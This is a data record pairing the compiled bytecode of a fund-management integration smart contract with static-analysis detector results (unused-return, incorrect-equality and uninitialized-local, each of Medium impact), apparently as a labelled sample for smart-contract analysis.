0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063893d20e8116100a2578063a7f3b0a411610071578063a7f3b0a414610388578063bd8e959a146103f6578063d44ad6cb146103fe578063e6c41ec914610406578063ecbed100146104345761010b565b8063893d20e81461029c57806389cbe1d0146102a4578063972b3de11461031257806397c0ac87146103805761010b565b806349be72f3116100de57806349be72f314610221578063501cc76114610229578063742695311461025757806380d570631461027d5761010b565b80631bee801e1461011057806321121528146101955780632d98a99b146101d757806346790346146101fb575b600080fd5b6101936004803603606081101561012657600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561015557600080fd5b82018360208201111561016757600080fd5b803590602001918460018302840111600160201b8311171561018857600080fd5b50909250905061048c565b005b6101c3600480360360408110156101ab57600080fd5b506001600160a01b0381358116916020013516610641565b604080519115158252519081900360200190f35b6101df610705565b604080516001600160a01b039092168252519081900360200190f35b6101df6004803603602081101561021157600080fd5b50356001600160a01b0316610729565b6101df61074a565b6101936004803603604081101561023f57600080fd5b506001600160a01b038135811691602001351661076e565b6101c36004803603602081101561026d57600080fd5b50356001600160a01b03166107d4565b6101936004803603602081101561029357600080fd5b503515156107e1565b6101df6107ee565b610193600480360360208110156102ba57600080fd5b810190602081018135600160201b8111156102d457600080fd5b8201836020820111156102e657600080fd5b803590602001918460018302840111600160201b8311171561030757600080fd5b5090925090506107ea565b6101936004803603602081101561032857600080fd5b810190602081018135600160201b81111561034257600080fd5b82018360208201111561035457600080fd5b803590602001918460208302840111600160201b8311171561037557600080fd5b50909250905061087a565b6101df610c05565b6101936004803603602081101561039e57600080fd5b810190602081018135600160201b8111156103b857600080fd5b8201836020820111156103ca57600080fd5b803590602001918460208302840111600160201b831117156103eb57600080fd5b509092509050610c29565b610193610f35565b6101df610f54565b6101936004803603604081101561041c57600080fd5b506001600160a01b0381358116916020013516610f78565b61043c610fe1565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610478578181015183820152602001610460565b505050509050019250505060405180910390f35b336000908152602081905260409020546001600160a01b0316806104e15760405162461bcd60e51b815260040180806020018281038252602e815260200180613d7d602e913960400191505060405180910390fd5b6104eb3386610641565b6105265760405162461bcd60e51b815260040180806020018281038252603281526020018061432f6032913960400191505060405180910390fd5b836105715761056c858285858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061107792505050565b61063a565b83600114156105ba5761056c8184848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506110d892505050565b83600214156106035761056c8184848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506112d192505050565b60405162461bcd60e51b815260040180806020018281038252602d815260200180613fa9602d913960400191505060405180910390fd5b5050505050565b6001600160a01b03808316600090815260036020908152604080832093851683529290529081205460ff16806106fc57506001600160a01b0380841660009081526020818152604091829020548251631127a41d60e31b8152925193169263893d20e8926004808201939291829003018186803b1580156106c157600080fd5b505afa1580156106d5573d6000803e3d6000fd5b505050506040513d60208110156106eb57600080fd5b50516001600160a01b038381169116145b90505b92915050565b7f0000000000000000000000002e45f9b3fd5871ccaf4eb415dfccbdd126f57c4f90565b6001600160a01b03808216600090815260208190526040902054165b919050565b7f0000000000000000000000001fad8faf11e027f8630f394599830dbeb97004ee90565b61077a8282600061153a565b6001600160a01b03808316600081815260036020908152604080832094861680845294909152808220805460ff19169055517fba8783abf5207a89d51b58dcb44670608cf37909d412fca4e5a1639b09d741589190a35050565b60006106ff60018361177a565b6107ea3361178f565b5050565b60007f0000000000000000000000007e6d3b1161df9c9c7527f68d651b297d2fdb820b6001600160a01b031663893d20e86040518163ffffffff1660e01b815260040160206040518083038186803b15801561084957600080fd5b505afa15801561085d573d6000803e3d6000fd5b505050506040513d602081101561087357600080fd5b5051905090565b6108826107ee565b6001600160a01b0316336001600160a01b0316146108d15760405162461bcd60e51b8152600401808060200182810382526049815260200180613ea86049913960600191505060405180910390fd5b8061090d5760405162461bcd60e51b815260040180806020018281038252602b815260200180613f7e602b913960400191505060405180910390fd5b60005b81811015610c0057600083838381811061092657fe5b905060200201356001600160a01b03166001600160a01b0316141561097c5760405162461bcd60e51b8152600401808060200182810382526029815260200180613e7f6029913960400191505060405180910390fd5b6109a083838381811061098b57fe5b905060200201356001600160a01b03166107d4565b156109dc5760405162461bcd60e51b815260040180806020018281038252602c81526020018061413f602c913960400191505060405180910390fd5b610a0b8383838181106109eb57fe5b905060200201356001600160a01b0316600161197490919063ffffffff16565b50828282818110610a1857fe5b905060200201356001600160a01b03166001600160a01b0316637998a1c46040518163ffffffff1660e01b815260040160006040518083038186803b158015610a6057600080fd5b505afa158015610a74573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610a9d57600080fd5b8101908080516040519392919084600160201b821115610abc57600080fd5b908301906020820185811115610ad157600080fd5b8251600160201b811182820188101715610aea57600080fd5b82525081516020918201929091019080838360005b83811015610b17578181015183820152602001610aff565b50505050905090810190601f168015610b445780820380516001836020036101000a031916815260200191505b506040525050506040518082805190602001908083835b60208310610b7a5780518252601f199092019160209182019101610b5b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020838383818110610bb357fe5b905060200201356001600160a01b03166001600160a01b03167f1e4247fdab5708a9838dfa7049b607d56751d7e44584c555c3ca8883b992806560405160405180910390a3600101610910565b505050565b7f0000000000000000000000007e6d3b1161df9c9c7527f68d651b297d2fdb820b90565b610c316107ee565b6001600160a01b0316336001600160a01b031614610c805760405162461bcd60e51b8152600401808060200182810382526049815260200180613ea86049913960600191505060405180910390fd5b80610cbc5760405162461bcd60e51b815260040180806020018281038252602d815260200180613f1d602d913960400191505060405180910390fd5b60005b81811015610c0057610cd683838381811061098b57fe5b610d115760405162461bcd60e51b815260040180806020018281038252602d815260200180614231602d913960400191505060405180910390fd5b610d40838383818110610d2057fe5b905060200201356001600160a01b0316600161198990919063ffffffff16565b50828282818110610d4d57fe5b905060200201356001600160a01b03166001600160a01b0316637998a1c46040518163ffffffff1660e01b815260040160006040518083038186803b158015610d9557600080fd5b505afa158015610da9573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610dd257600080fd5b8101908080516040519392919084600160201b821115610df157600080fd5b908301906020820185811115610e0657600080fd5b8251600160201b811182820188101715610e1f57600080fd5b82525081516020918201929091019080838360005b83811015610e4c578181015183820152602001610e34565b50505050905090810190601f168015610e795780820380516001836020036101000a031916815260200191505b506040525050506040518082805190602001908083835b60208310610eaf5780518252601f199092019160209182019101610e90565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020838383818110610ee857fe5b905060200201356001600160a01b03166001600160a01b03167f82e6bc7d4d025a3153d55a40772ee04910b5eb018594e8e4747755898c12bcf460405160405180910390a3600101610cbf565b33600090815260208190526040902080546001600160a01b0319169055565b7f0000000000000000000000000bd9f0465d21d4c300c7b8d781a013bdc87a31e890565b610f848282600161153a565b6001600160a01b03808316600081815260036020908152604080832094861680845294909152808220805460ff19166001179055517f7f92357681033cc9a5f4128ee1e66a08f1589a20b741353202780c556791c1279190a35050565b6060610fed600161199e565b67ffffffffffffffff8111801561100357600080fd5b5060405190808252806020026020018201604052801561102d578160200160208202803683370190505b50905060005b8151811015611073576110476001826119a9565b82828151811061105357fe5b6001600160a01b0390921660209283029190910190910152600101611033565b5090565b6000806060611085846119b5565b9250925092506110958383611a95565b6060806060806110a58989611bb8565b93509350935093506110bb878786868686611d13565b6110cc898b89898989898989611f66565b50505050505050505050565b60608180602001905160208110156110ef57600080fd5b8101908080516040519392919084600160201b82111561110e57600080fd5b90830190602082018581111561112357600080fd5b82518660208202830111600160201b8211171561113f57600080fd5b82525081516020918201928201910280838360005b8381101561116c578181015183820152602001611154565b50505050905001604052505050905060005b81518110156112cb576111a382828151811061119657fe5b602002602001015161215f565b6111de5760405162461bcd60e51b81526004018080602001828103825260308152602001806142cd6030913960400191505060405180910390fd5b8181815181106111ea57fe5b60200260200101516001600160a01b03166370a08231856040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561123e57600080fd5b505afa158015611252573d6000803e3d6000fd5b505050506040513d602081101561126857600080fd5b5051156112a65760405162461bcd60e51b8152600401808060200182810382526032815260200180613dab6032913960400191505060405180910390fd5b6112c3338383815181106112b657fe5b602002602001015161229f565b60010161117e565b50505050565b60608180602001905160208110156112e857600080fd5b8101908080516040519392919084600160201b82111561130757600080fd5b90830190602082018581111561131c57600080fd5b82518660208202830111600160201b8211171561133857600080fd5b82525081516020918201928201910280838360005b8381101561136557818101518382015260200161134d565b5050505090500160405250505090506000336001600160a01b031663e269c3d66040518163ffffffff1660e01b815260040160206040518083038186803b1580156113af57600080fd5b505afa1580156113c3573d6000803e3d6000fd5b505050506040513d60208110156113d957600080fd5b5051905060005b825181101561063a57816001600160a01b03168382815181106113ff57fe5b60200260200101516001600160a01b0316141561144d5760405162461bcd60e51b81526004018080602001828103825260428152602001806141ef6042913960600191505060405180910390fd5b82818151811061145957fe5b60200260200101516001600160a01b03166370a08231866040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156114ad57600080fd5b505afa1580156114c1573d6000803e3d6000fd5b505050506040513d60208110156114d757600080fd5b5051156115155760405162461bcd60e51b81526004018080602001828103825260358152602001806140dd6035913960400191505060405180910390fd5b6115323384838151811061152557fe5b6020026020010151612371565b6001016113e0565b6001600160a01b03838116600090815260208190526040902054166115905760405162461bcd60e51b815260040180806020018281038252603281526020018061416b6032913960400191505060405180910390fd5b6001600160a01b03808416600090815260208181526040808320548151631127a41d60e31b815291519394169263893d20e892600480840193919291829003018186803b1580156115e057600080fd5b505afa1580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b50519050336001600160a01b038216146116555760405162461bcd60e51b8152600401808060200182810382526041815260200180613e3e6041913960600191505060405180910390fd5b806001600160a01b0316836001600160a01b031614156116a65760405162461bcd60e51b8152600401808060200182810382526034815260200180613f4a6034913960400191505060405180910390fd5b8115611716576001600160a01b0380851660009081526003602090815260408083209387168352929052205460ff16156117115760405162461bcd60e51b815260040180806020018281038252603c8152602001806140a1603c913960400191505060405180910390fd5b6112cb565b6001600160a01b0380851660009081526003602090815260408083209387168352929052205460ff166112cb5760405162461bcd60e51b8152600401808060200182810382526038815260200180613e066038913960400191505060405180910390fd5b60006106fc836001600160a01b0384166123bc565b6001600160a01b03818116600090815260208190526040812054909116156117e85760405162461bcd60e51b8152600401808060200182810382526025815260200180613d086025913960400191505060405180910390fd5b816001600160a01b031663c98091876040518163ffffffff1660e01b815260040160206040518083038186803b15801561182157600080fd5b505afa158015611835573d6000803e3d6000fd5b505050506040513d602081101561184b57600080fd5b505190506001600160a01b0381166118945760405162461bcd60e51b815260040180806020018281038252602c815260200180613ef1602c913960400191505060405180910390fd5b806001600160a01b0316635a53e3486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118cd57600080fd5b505afa1580156118e1573d6000803e3d6000fd5b505050506040513d60208110156118f757600080fd5b50516001600160a01b038381169116146119425760405162461bcd60e51b815260040180806020018281038252603581526020018061406c6035913960400191505060405180910390fd5b6001600160a01b03918216600090815260208190526040902080546001600160a01b0319169282169290921790915590565b60006106fc836001600160a01b0384166123d4565b60006106fc836001600160a01b03841661241e565b60006106ff826124e4565b60006106fc83836124e8565b60008060608380602001905160608110156119cf57600080fd5b81516020830151604080850180519151939592948301929184600160201b8211156119f957600080fd5b908301906020820185811115611a0e57600080fd5b8251600160201b811182820188101715611a2757600080fd5b82525081516020918201929091019080838360005b83811015611a54578181015183820152602001611a3c565b50505050905090810190601f168015611a815780820380516001836020036101000a031916815260200191505b506040525050509250925092509193909250565b604080516001600160a01b0384811660208301526001600160e01b03198416828401528251808303840181526060830193849052630442bad560e01b90935233606483018181527f0000000000000000000000000bd9f0465d21d4c300c7b8d781a013bdc87a31e890921693630442bad593919260049260840183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b4e578181015183820152602001611b36565b50505050905090810190601f168015611b7b5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611b9c57600080fd5b505af1158015611bb0573d6000803e3d6000fd5b505050505050565b606080606080606080606060006060806060611bd48d8d61254c565b9650965096509650965096509650611ce98d8d8686868c60405160200180856003811115611bfe57fe5b8152602001806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015611c47578181015183820152602001611c2f565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015611c86578181015183820152602001611c6e565b50505050905001848103825285818151815260200191508051906020019060200280838360005b83811015611cc5578181015183820152602001611cad565b50505050905001975050505050505050604051602081830303815290604052612f22565b611cf98d88888888888888613192565b929d50909b50995097505050505050505092959194509250565b7f0000000000000000000000000bd9f0465d21d4c300c7b8d781a013bdc87a31e86001600160a01b0316630442bad533600589898989898960405160200180876001600160a01b03168152602001866001600160e01b031916815260200180602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015611db9578181015183820152602001611da1565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015611df8578181015183820152602001611de0565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015611e37578181015183820152602001611e1f565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015611e76578181015183820152602001611e5e565b505050509050019a50505050505050505050506040516020818303038152906040526040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836005811115611ec657fe5b815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611f04578181015183820152602001611eec565b50505050905090810190601f168015611f315780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611f5257600080fd5b505af11580156110cc573d6000803e3d6000fd5b856001600160e01b031916876001600160a01b0316336001600160a01b03167f72a42ea24876d542424742125bf664f755114a3dbf2b409ab609100c4d4612368c8c8a8a8a8a8a60405180886001600160a01b03168152602001876001600160a01b03168152602001806020018060200180602001806020018060200186810386528b818151815260200191508051906020019080838360005b83811015612018578181015183820152602001612000565b50505050905090810190601f1680156120455780820380516001836020036101000a031916815260200191505b5086810385528a5181528a51602091820191808d01910280838360005b8381101561207a578181015183820152602001612062565b50505050905001868103845289818151815260200191508051906020019060200280838360005b838110156120b95781810151838201526020016120a1565b50505050905001868103835288818151815260200191508051906020019060200280838360005b838110156120f85781810151838201526020016120e0565b50505050905001868103825287818151815260200191508051906020019060200280838360005b8381101561213757818101518382015260200161211f565b505050509050019c5050505050505050505050505060405180910390a4505050505050505050565b60007f0000000000000000000000001fad8faf11e027f8630f394599830dbeb97004ee6001600160a01b0316639be918e6836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156121ce57600080fd5b505afa1580156121e2573d6000803e3d6000fd5b505050506040513d60208110156121f857600080fd5b5051806106ff57507f0000000000000000000000002e45f9b3fd5871ccaf4eb415dfccbdd126f57c4f6001600160a01b0316639be918e6836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561226d57600080fd5b505afa158015612281573d6000803e3d6000fd5b505050506040513d602081101561229757600080fd5b505192915050565b604080516001600160a01b0383811660208084019190915283518084039091018152828401938490526310acd06d60e01b9093528416916310acd06d916006919060440180835b815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561232457818101518382015260200161230c565b50505050905090810190601f1680156123515780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b158015611b9c57600080fd5b604080516001600160a01b0383811660208084019190915283518084039091018152828401938490526310acd06d60e01b9093528416916310acd06d916007919060440180836122e6565b60009081526001919091016020526040902054151590565b60006123e083836123bc565b612416575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556106ff565b5060006106ff565b600081815260018301602052604081205480156124da578354600019808301919081019060009087908390811061245157fe5b906000526020600020015490508087600001848154811061246e57fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061249e57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506106ff565b60009150506106ff565b5490565b8154600090821061252a5760405162461bcd60e51b8152600401808060200182810382526022815260200180613ce66022913960400191505060405180910390fd5b82600001828154811061253957fe5b9060005260206000200154905092915050565b60608060606000606080606060008060606125668b6119b5565b925092509250612575836107d4565b6125b05760405162461bcd60e51b815260040180806020018281038252602c8152602001806141c3602c913960400191505060405180910390fd5b60408051633b663d6360e11b81526001600160e01b0319841660048201908152602482019283528351604483015283516001600160a01b038716936376cc7ac6938793879390929160640190602085019080838360005b8381101561261f578181015183820152602001612607565b50505050905090810190601f16801561264c5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038186803b15801561266a57600080fd5b505afa15801561267e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260a08110156126a757600080fd5b815160208301805160405192949293830192919084600160201b8211156126cd57600080fd5b9083019060208201858111156126e257600080fd5b82518660208202830111600160201b821117156126fe57600080fd5b82525081516020918201928201910280838360005b8381101561272b578181015183820152602001612713565b5050505090500160405260200180516040519392919084600160201b82111561275357600080fd5b90830190602082018581111561276857600080fd5b82518660208202830111600160201b8211171561278457600080fd5b82525081516020918201928201910280838360005b838110156127b1578181015183820152602001612799565b5050505090500160405260200180516040519392919084600160201b8211156127d957600080fd5b9083019060208201858111156127ee57600080fd5b82518660208202830111600160201b8211171561280a57600080fd5b82525081516020918201928201910280838360005b8381101561283757818101518382015260200161281f565b5050505090500160405260200180516040519392919084600160201b82111561285f57600080fd5b90830190602082018581111561287457600080fd5b82518660208202830111600160201b8211171561289057600080fd5b82525081516020918201928201910280838360005b838110156128bd5781810151838201526020016128a5565b50505050905001604052505050809c50819e50829950839a50849b505050505050845186511461291e5760405162461bcd60e51b815260040180806020018281038252602c815260200180614040602c913960400191505060405180910390fd5b87518a511461295e5760405162461bcd60e51b815260040180806020018281038252602f81526020018061425e602f913960400191505060405180910390fd5b612967866131d6565b6129a25760405162461bcd60e51b815260040180806020018281038252602681526020018061419d6026913960400191505060405180910390fd5b6129ab8a6131d6565b6129e65760405162461bcd60e51b8152600401808060200182810382526029815260200180613ddd6029913960400191505060405180910390fd5b89518c9067ffffffffffffffff81118015612a0057600080fd5b50604051908082528060200260200182016040528015612a2a578160200160208202803683370190505b50995060005b8b51811015612c7a5760006001600160a01b03168c8281518110612a5057fe5b60200260200101516001600160a01b03161415612a9e5760405162461bcd60e51b815260040180806020018281038252602d815260200180613fd6602d913960400191505060405180910390fd5b60008a8281518110612aac57fe5b602002602001015111612af05760405162461bcd60e51b81526004018080602001828103825260328152602001806142fd6032913960400191505060405180910390fd5b612aff8c828151811061119657fe5b612b3a5760405162461bcd60e51b815260040180806020018281038252602e815260200180613d4f602e913960400191505060405180910390fd5b816001600160a01b031663797ed3398d8381518110612b5557fe5b60200260200101516040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612b9a57600080fd5b505afa158015612bae573d6000803e3d6000fd5b505050506040513d6020811015612bc457600080fd5b505115612c72578b8181518110612bd757fe5b60200260200101516001600160a01b03166370a082318f6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612c2b57600080fd5b505afa158015612c3f573d6000803e3d6000fd5b505050506040513d6020811015612c5557600080fd5b50518b518c9083908110612c6557fe5b6020026020010181815250505b600101612a30565b50865167ffffffffffffffff81118015612c9357600080fd5b50604051908082528060200260200182016040528015612cbd578160200160208202803683370190505b50945060005b8751811015612f115760006001600160a01b0316888281518110612ce357fe5b60200260200101516001600160a01b03161415612d315760405162461bcd60e51b8152600401808060200182810382526022815260200180613d2d6022913960400191505060405180910390fd5b6000878281518110612d3f57fe5b602002602001015111612d835760405162461bcd60e51b815260040180806020018281038252602d815260200180614112602d913960400191505060405180910390fd5b612da9888281518110612d9257fe5b60200260200101518d61326a90919063ffffffff16565b612e5457878181518110612db957fe5b60200260200101516001600160a01b03166370a082318f6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612e0d57600080fd5b505afa158015612e21573d6000803e3d6000fd5b505050506040513d6020811015612e3757600080fd5b50518651879083908110612e4757fe5b6020026020010181815250505b6001896003811115612e6257fe5b1415612e9f57612e9a33898381518110612e7857fe5b6020026020010151878a8581518110612e8d57fe5b60200260200101516132c0565b612f09565b6002896003811115612ead57fe5b1415612ee557612e9a33898381518110612ec357fe5b6020026020010151878a8581518110612ed857fe5b60200260200101516133bc565b6003896003811115612ef357fe5b1415612f0957612f093389838151811061152557fe5b600101612cc3565b505050505092959891949750929550565b6000806060612f30856119b5565b92509250925060006060846001600160a01b03168489858960405160240180846001600160a01b031681526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015612f9b578181015183820152602001612f83565b50505050905090810190601f168015612fc85780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b83811015612ffb578181015183820152602001612fe3565b50505050905090810190601f1680156130285780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529181526020820180516001600160e01b03166001600160e01b0319909a16999099178952518151919890975087965094509250829150849050835b602083106130905780518252601f199092019160209182019101613071565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146130f2576040519150601f19603f3d011682016040523d82523d6000602084013e6130f7565b606091505b50915091508181906131875760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561314c578181015183820152602001613134565b50505050905090810190601f1680156131795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050505050505050565b6060806060806060806131a88e8b8b8b8b613413565b929650909450925090506131c08e8e8e8e868661396c565b9096509450505098509850985098945050505050565b600060018251116131e957506001610745565b815160005b8181101561326057600181015b828110156132575784818151811061320f57fe5b60200260200101516001600160a01b031685838151811061322c57fe5b60200260200101516001600160a01b0316141561324f5760009350505050610745565b6001016131fb565b506001016131ee565b5060019392505050565b6000805b83518110156132b65783818151811061328357fe5b60200260200101516001600160a01b0316836001600160a01b031614156132ae5760019150506106ff565b60010161326e565b5060009392505050565b604080516001600160a01b0385811660208301528481168284015260608083018590528351808403909101815260808301938490526310acd06d60e01b9093528616916310acd06d916004919060840180835b815260200180602001828103825283818151815260200191508051906020019080838360005b83811015613351578181015183820152602001613339565b50505050905090810190601f16801561337e5780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b15801561339e57600080fd5b505af11580156133b2573d6000803e3d6000fd5b5050505050505050565b604080516001600160a01b0385811660208301528481168284015260608083018590528351808403909101815260808301938490526310acd06d60e01b9093528616916310acd06d91600591906084018083613313565b6060806060806060875167ffffffffffffffff8111801561343357600080fd5b5060405190808252806020026020018201604052801561345d578160200160208202803683370190505b50905060008060005b8a5181101561355a5788818151811061347b57fe5b60200260200101516000141561349057613552565b60038c600381111561349e57fe5b14156134af57600190920191613552565b6134cc8d8c83815181106134bf57fe5b6020026020010151613bac565b8482815181106134d857fe5b6020026020010181815250508881815181106134f057fe5b602002602001015184828151811061350457fe5b6020026020010151101561351d57600190920191613552565b88818151811061352957fe5b602002602001015184828151811061353d57fe5b60200260200101511115613552576001909101905b600101613466565b508167ffffffffffffffff8111801561357257600080fd5b5060405190808252806020026020018201604052801561359c578160200160208202803683370190505b5096508167ffffffffffffffff811180156135b657600080fd5b506040519080825280602002602001820160405280156135e0578160200160208202803683370190505b5095508067ffffffffffffffff811180156135fa57600080fd5b50604051908082528060200260200182016040528015613624578160200160208202803683370190505b5094508067ffffffffffffffff8111801561363e57600080fd5b50604051908082528060200260200182016040528015613668578160200160208202803683370190505b50935060008060005b8c5181101561395a578a818151811061368657fe5b60200260200101516000141561369b57613952565b60038e60038111156136a957fe5b1415613725578c81815181106136bb57fe5b60200260200101518a84815181106136cf57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508a81815181106136fb57fe5b602002602001015189848151811061370f57fe5b6020908102919091010152600190920191613952565b8a818151811061373157fe5b602002602001015186828151811061374557fe5b602002602001015110156138aa5785818151811061375f57fe5b6020026020010151600014156137b05761377f338e838151811061152557fe5b8a818151811061378b57fe5b602002602001015189848151811061379f57fe5b602002602001018181525050613802565b6137e98682815181106137bf57fe5b60200260200101518c83815181106137d357fe5b6020026020010151613c2e90919063ffffffff16565b8984815181106137f557fe5b6020026020010181815250505b8b818151811061380e57fe5b602002602001015189848151811061382257fe5b602002602001015111156138675760405162461bcd60e51b815260040180806020018281038252603d815260200180614003603d913960400191505060405180910390fd5b8c818151811061387357fe5b60200260200101518a848151811061388757fe5b6001600160a01b0390921660209283029190910190910152600190920191613952565b8a81815181106138b657fe5b60200260200101518682815181106138ca57fe5b60200260200101511115613952576138fb8b82815181106138e757fe5b60200260200101518783815181106137d357fe5b87838151811061390757fe5b6020026020010181815250508c818151811061391f57fe5b602002602001015188838151811061393357fe5b6001600160a01b03909216602092830291909101909101526001909101905b600101613671565b50505050505095509550955095915050565b606080600061398685518951613c8b90919063ffffffff16565b90508067ffffffffffffffff8111801561399f57600080fd5b506040519080825280602002602001820160405280156139c9578160200160208202803683370190505b5092508067ffffffffffffffff811180156139e357600080fd5b50604051908082528060200260200182016040528015613a0d578160200160208202803683370190505b50915060005b8851811015613b10576000613a4b898381518110613a2d57fe5b6020026020010151613a458d8d86815181106134bf57fe5b90613c2e565b9050878281518110613a5957fe5b6020026020010151811015613a9f5760405162461bcd60e51b815260040180806020018281038252604081526020018061428d6040913960400191505060405180910390fd5b613aaf338b84815181106112b657fe5b898281518110613abb57fe5b6020026020010151858381518110613acf57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505080848381518110613afc57fe5b602090810291909101015250600101613a13565b50845115613ba057875160005b8651811015613b9d57868181518110613b3257fe5b6020026020010151858381518110613b4657fe5b60200260200101906001600160a01b031690816001600160a01b031681525050858181518110613b7257fe5b6020026020010151848381518110613b8657fe5b602090810291909101015260019182019101613b1d565b50505b50965096945050505050565b6000816001600160a01b03166370a08231846040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015613bfb57600080fd5b505afa158015613c0f573d6000803e3d6000fd5b505050506040513d6020811015613c2557600080fd5b50519392505050565b600082821115613c85576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6000828201838110156106fc576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64735f5f73657456616c6964617465645661756c7450726f78793a20416c7265616479207365745f5f70726550726f63657373436f493a20456d707479207370656e642061737365745f5f70726550726f63657373436f493a204e6f6e2d72656365697661626c6520696e636f6d696e672061737365747265636569766543616c6c46726f6d436f6d7074726f6c6c65723a2046756e64206973206e6f74206163746976655f5f6164645a65726f42616c616e6365547261636b65644173736574733a2042616c616e6365206973206e6f74207a65726f5f5f70726550726f63657373436f493a204475706c696361746520696e636f6d696e672061737365745f5f76616c696461746553657441757468557365723a204163636f756e74206973206e6f7420616e20617574686f72697a656420757365725f5f76616c696461746553657441757468557365723a204f6e6c79207468652066756e64206f776e65722063616e2063616c6c20746869732066756e6374696f6e726567697374657241646170746572733a20416461707465722063616e6e6f7420626520656d7074796f6e6c7946756e644465706c6f7965724f776e65723a204f6e6c79207468652046756e644465706c6f796572206f776e65722063616e2063616c6c20746869732066756e6374696f6e5f5f73657456616c6964617465645661756c7450726f78793a204d697373696e67207661756c7450726f78796465726567697374657241646170746572733a205f61646170746572732063616e6e6f7420626520656d7074795f5f76616c696461746553657441757468557365723a2043616e6e6f742073657420666f72207468652066756e64206f776e6572726567697374657241646170746572733a205f61646170746572732063616e6e6f7420626520656d7074797265636569766543616c6c46726f6d436f6d7074726f6c6c65723a20496e76616c6964205f616374696f6e49645f5f70726550726f63657373436f493a20456d70747920696e636f6d696e6720617373657420616464726573735f5f7265636f6e63696c65436f495370656e644173736574733a205370656e7420616d6f756e742067726561746572207468616e2065787065637465645f5f70726550726f63657373436f493a205370656e64206173736574732061727261797320756e657175616c5f5f73657456616c6964617465645661756c7450726f78793a204e6f7420746865205661756c7450726f7879206163636573736f725f5f76616c696461746553657441757468557365723a204163636f756e7420697320616c726561647920616e20617574686f72697a656420757365725f5f72656d6f76655a65726f42616c616e6365547261636b65644173736574733a2042616c616e6365206973206e6f74207a65726f5f5f70726550726f63657373436f493a20456d707479206d6178207370656e6420617373657420616d6f756e74726567697374657241646170746572733a204164617074657220616c726561647920726567697374657265645f5f76616c696461746553657441757468557365723a2046756e6420686173206e6f74206265656e206163746976617465645f5f70726550726f63657373436f493a204475706c6963617465207370656e6420617373657463616c6c4f6e496e746567726174696f6e3a2041646170746572206973206e6f7420726567697374657265645f5f72656d6f76655a65726f42616c616e6365547261636b65644173736574733a2043616e6e6f742072656d6f76652064656e6f6d696e6174696f6e2061737365746465726567697374657241646170746572733a2041646170746572206973206e6f7420726567697374657265645f5f70726550726f63657373436f493a20496e636f6d696e67206173736574732061727261797320756e657175616c5f5f7265636f6e63696c65436f494173736574733a20526563656976656420696e636f6d696e67206173736574206c657373207468616e2065787065637465645f5f6164645a65726f42616c616e6365547261636b65644173736574733a20556e737570706f727465642061737365745f5f70726550726f63657373436f493a206d696e496e636f6d696e674173736574416d6f756e74206d757374206265203e307265636569766543616c6c46726f6d436f6d7074726f6c6c65723a204e6f7420616e20617574686f72697a65642075736572a2646970667358221220d5df85f2ac35368e7451d859412be981a138715aa6f6088511a12951a4e0995764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
